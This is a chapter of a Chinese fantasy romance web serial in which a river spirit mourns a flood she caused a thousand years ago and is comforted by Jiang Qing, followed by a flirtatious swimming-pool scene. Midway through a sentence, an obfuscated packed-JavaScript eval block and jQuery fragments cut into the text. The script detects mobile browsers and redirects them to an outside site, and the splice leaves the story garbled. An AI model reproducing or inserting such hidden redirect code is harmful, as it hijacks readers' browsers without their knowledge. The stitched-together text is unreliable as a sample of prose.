洪水退去后的第三天,坪山村的伤亡统计、清淤防疫这些收尾工作才结束。江擎处理完后续工作,拖着疲惫的身体回到家。
鳌明珠这几天一直蔫蔫的,上班也没多少精神,脑子里全是洪水的事,坪山村咆哮的洪水和千年前矩州城百姓的哭喊声,在脑海里不断回荡、重叠、叫嚣。
千年前自己年幼,不能曾亲眼见过人类被洪水肆虐的惨状,也不能理解家破人亡的痛苦。前几日看着坪山村村民流离失所的样子,她心里很不是滋味。
如今信息发达、救援及时,伤亡得以大幅度减少,可千年前,洪水一来便如吞城猛兽,百姓们只能在绝望中挣扎,不知道有多少人失去家园与亲人?
作为始作俑者,往日只怨恨吕洞宾将自己封印了一千年,一直都未能切身体会百姓的痛楚,也从未深刻认识到自己的错误。
江擎洗完澡出来,发现鳌明珠坐在沙发上,眼神呆呆地盯着地板,魂不守舍的样子又孤单又可怜。他走过去在鳌明珠身边坐下,伸手揉了揉她的脑袋:“怎么了,这几天工作不顺利吗?可以给我说说吗?”
鳌明珠沉默了一会儿,声音闷闷地开口道:“前天上午我从坪山村回来后,就一直在想村子被淹的事。我想起千年前,我和石船精再乌江打架,不小心把矩州城给淹了。那时候的百姓,肯定比现在还惨吧?”
江擎没说话,只是安静地听着。
鳌明珠眼睛有点发红:“江擎,你知道我当年为什么要和石船精打架吗?”
江擎一直以为是她调皮捣蛋,但看她这副模样,轻声问:“不知道,你愿意说说吗?”
鳌明珠低下头,声音越来越小:“我阿娘生下我后身体一直不好,在我两百多岁的时候就走了。按人类的年纪算,我那时候也就十二三岁吧。后来一直是阿爹照顾我,他总说阿娘最爱美,最爱明珠。”
“百年祭是我们江河精怪纪念亲人的大日子,生者要把最珍贵的东西献给亡者,让他们的灵魂在深海里也能感受到亲人的牵挂。快到阿娘的百年祭了,我想用明珠给她做一件云肩,就瞒着阿爹偷偷去深海采明珠。”鳌明珠吸了吸鼻子,“深海底下可黑了,水压大得能把骨头压碎,还得躲开咬人的灯笼鱼和缠人的海草。每次采一颗明珠,都要在暗礁里摸半天,有时候鳞片被划破,血腥味引来鲨鱼精,我就得拼命往浅海逃。”
鳌明珠抬手擦了擦眼角:“就这样攒了五年,才凑够做云肩的明珠,每颗都圆滚滚的,在水里能发光。我想着阿娘肯定会喜欢。”
江擎心里闷闷地痛,他揽臂将鳌明珠轻轻搂进怀里。
鳌明珠突然激动起来:“可我万万没想到,就在我准备缝云肩的前几天,石船精那厮居然溜进我房间,把我的明珠全偷走了!我发现的时候整个人都傻了,翻遍了鳌府和乌江都找不到。”
她气得咬牙切齿,“后来我在江面上看到他的破船,他竟然用蛮力把我的明珠一颗一颗全镶在了他的破船头上!有的磕破了,有的碎了……他还得意洋洋地到处炫耀!我气得直接冲上去揍他!”
“我真的不知道,我们打架时搅动的灵力会让江水翻涌,江水会冲去矩州城。”她的声音发抖,“那天在坪山村,看到村民们失去家园的样子,我才明白……我当初犯的错有多严重。”
“哇……我真的知道错了……我不是故意的……不是故意的。”她再也忍不住,放声大哭,整个人都缩在江擎怀里。
江擎心疼得不行,紧紧把她搂进怀里,柔声安慰:“别哭了,我知道你不是故意,都过去了,都过去了。”
“还有阿爹……”鳌明珠哭得上气不接下气,“我闯了大祸,吕洞宾要杀我,阿爹为了求得我一线生机,散尽修为化作灵雨,滋养矩州城,最后魂飞魄散了。其实,阿爹作为乌江霸主,发力高强,对上吕洞宾,未必没有一战之力,他却束手就擒。我知道他是怕事情捅到天庭,一发不可收拾,不仅我会受到更严厉的惩罚,还会连累整个乌江水族,我都知道的……我好痛啊……阿爹都是为了我……”
江擎一手搂着鳌明珠,一手轻抚她的背给她顺气。
“我被封印在鳌叽石里,在又黑又冷的涵碧潭底待了一千年。现在封印解除了,可是只有魂体出来了,原身还被困着,灵力也被封印消耗得所剩无几了。”她越哭越凶,眼泪把江擎的衣服都打湿了,“我打架那天,龟小墨还说要去姑姑家偷最新的话本子哄我开心。他回来找不到我,会不会哭啊?河神伯伯也不在了……现在这个世界,就剩我一个精怪了……呜呜呜……我好孤单啊……”
“……我好难过啊……我真的不是故意的……我也受到了惩罚……我知道错了。”鳌明珠哭得头昏脑涨,说话也开始语无伦次。
江擎心里揪得慌,他能感受到她的孤独和无助。千年的寂寞,失去亲人的痛苦,还有对过去的自责,全都压在她身上。
他轻轻拍着她的背,轻声安慰:“别怕,以后有我在,你不会是一个人了。你犯的错,我们一起弥补;你的封印,我们一起找解决的办法。以后的日子,不会再让你孤单了。”
鳌明珠心里的委屈和孤单好像被一点点抚平。
“真的吗?”她抬起头望着江擎,吸了吸鼻子,委屈巴巴地说。
“真的。”江擎看着她红红的眼睛,一字一句地承诺,“以后的日子,我都会陪着你,一直陪着你。”
窗外的明月渐渐爬上树梢,客厅的灯也亮了。江擎陪着鳌明珠坐了很久,听她说起乌江里的趣事。那些尘封了千年的过往,在这一刻,终于有了可以倾诉的对象。
“我阿娘可漂亮了,我爹被迷得五迷三道的,我娘说啥就是啥。”
“明珠也非常漂亮,我和你阿爹一样被你迷得七荤八素。”
“我阿爹也是英俊潇洒、文武双全。他们很恩爱,也很疼爱我。”
“看你的名字,就知道你是令尊令堂的掌上明珠。”
“我有一群好朋友,龟小墨、王小花、水飘飘……我是他们的大王,因为我武力值最高。龟小墨是一只草龟精,他虽然有些温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995184|192834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吞,但是可聪明了,是我的军师。王小花是一只蚌精,她家祖传珍珠霜,涂了之后整个脸蛋都会发光。水飘飘是一只水草精,她可宝贝她的自己秀发了,别人碰一碰都会发飙……她们两是我的左右护法。唉,不知道我离开后,他们过得好不好?”
“每个人都会过得很好的,我们也一样。”
“一千年过去了,他们会不会都变成老头老太太了?”
“应该吧,不是所有人都能像我家明珠一样能永葆青春的。”
“你今晚嘴怎么这么甜?”
“甜吗?明珠要不要尝尝?”
周内晚上游泳馆里的人不太多,鳌明珠刚上完两节课,和学生告别后,在泳池边等江擎。不知道江擎哪根筋又搭错了,下班非要跟着来游泳馆,说是要练习游泳,还振振有词:业精于勤而荒于嬉。
旁边传来入水的轻响,鳌明珠转头看去。江擎像一头优雅的鲨鱼,在水中肆意驰骋。修长的双臂交替划水,肩背的肌肉随着动作缓缓收紧、放松,线条流畅而充满爆发力,整个人的姿态舒展又奔放。
游到泳池尽头,他利落转身,朝着鳌明珠的方向游来,他的动作充满了野性的力量感,一时让人移不开眼。
片刻后,江擎游到池边,双手撑着池沿,缓缓站起身。水珠顺着他轮廓分明的下颌线滑落,滴在凸起的喉结上,随着他吞咽的动作轻轻滚动,而后沿着脖颈蜿蜒而下,一路游走过棱角分明的肌肉,最后悄然滑入黑色的泳裤边缘,消失不见。
他那张本就俊朗帅气的脸庞,此刻多了几分湿漉漉的魅惑,深邃的眼眸沉沉地锁住鳌明珠。他迈着长腿一步步朝鳌明珠走来,每一步都带着不容忽视的雄性张力,像是带着无形的火焰,一点点将周遭的空气都燃烧得灼热起来。
鳌明珠只觉得喉咙发紧,心跳都快了几分,暗自啐道:整这死出,诱惑谁呢?
江擎走到她面前,停下脚步,水珠还在顺着他的肌肤滑落。他低头看着鳌明珠,眼底带着笑意:“游得怎么样?好看吗?”
鳌明珠看着近在咫尺的美色,张了张嘴,却发现自己竟然一时失语。
江擎见她不说话,目光落在她泛红的耳朵上,笑意更深了:“宝宝,我好不好看?”
“好看,确实秀色可餐。”鳌明珠大方承认。
“那我与城东徐公孰美?”江擎俯身,靠近鳌明珠。
鳌明珠被这突然冒出来的问题弄得莫名其妙,“谁?那个徐公?”
“徐津。”江擎嘴里挤出一个名字。
“你美,你天下第一美。赶紧回家吧。”鳌明珠翻了个白眼,转身离开。
她穿着一身白色短袖短裙款的连体泳衣,勾勒出凹凸有致的身段,腰细腿长,肌肤白皙细腻。她就那样缓步走在前方,身姿曼妙。
江擎跟在她后边,目光落在她身上,喉结不自觉滚动了一下。他快走两步跟上鳌明珠,凑到她耳边压低声音,语气带着几分暧昧:“宝宝,你穿这身真好看。下次穿比基尼给我看,好不好?